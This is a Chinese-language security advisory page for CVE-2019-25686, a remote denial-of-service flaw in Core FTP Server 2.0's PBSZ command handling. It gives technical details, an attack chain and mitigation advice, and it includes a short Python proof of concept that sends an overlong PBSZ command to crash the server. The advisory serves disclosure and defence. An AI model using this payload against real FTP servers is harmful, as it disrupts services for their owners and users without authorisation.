IPBUF安全漏洞报告
English
CVE-2019-25686 CVSS 7.5 高危

CVE-2019-25686 Core FTP PBSZ命令拒绝服务漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2019-25686
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Core FTP Server 2.0

相关标签

拒绝服务缓冲区溢出Core FTPCVE-2019-25686DoS

漏洞概述

Core FTP 2.0 build 653版本中存在安全漏洞,位于PBSZ命令处理模块。未经身份认证的攻击者可利用此漏洞,通过发送特制的超长缓冲区数据触发访问违规,导致FTP服务崩溃,造成拒绝服务。该漏洞利用门槛低,无需用户交互即可远程触发,严重影响服务器可用性。

技术细节

该漏洞源于Core FTP Server在处理PBSZ命令时缺乏充分的边界检查。当服务器接收到PBSZ指令时,程序未正确验证输入参数的长度。攻击者可发送长度超过211字节的恶意载荷。由于错误的内存拷贝操作,将覆盖相邻内存区域或导致非法内存访问,引发异常终止进程。由于攻击向量为网络且无需权限,任何能连接到FTP端口的攻击者均可利用此漏洞导致服务中断。

攻击链分析

STEP 1
1. 侦察
攻击者扫描网络,识别运行Core FTP Server 2.0 build 653的目标主机及开放的21端口。
STEP 2
2. 漏洞利用
攻击者建立TCP连接,向目标发送包含超过211字节载荷的畸形PBSZ命令。
STEP 3
3. 拒绝服务
目标服务器在处理该命令时发生内存访问违规,FTP服务进程崩溃,导致服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket def exploit(host, port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Receive banner s.recv(1024) # Send malformed PBSZ command (Payload > 211 bytes) payload = 'PBSZ ' + 'A' * 212 + '\r\n' s.send(payload.encode()) print("[+] Payload sent") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit("TARGET_IP", 21)

影响范围

Core FTP Server 2.0 build 653

防御指南

临时缓解措施
建议立即升级Core FTP Server至修复了该缓冲区溢出漏洞的最新版本。若暂时无法升级,应严格限制对FTP服务的网络访问,利用网络ACL或防火墙阻断非受信来源的连接,并监控异常的FTP流量模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表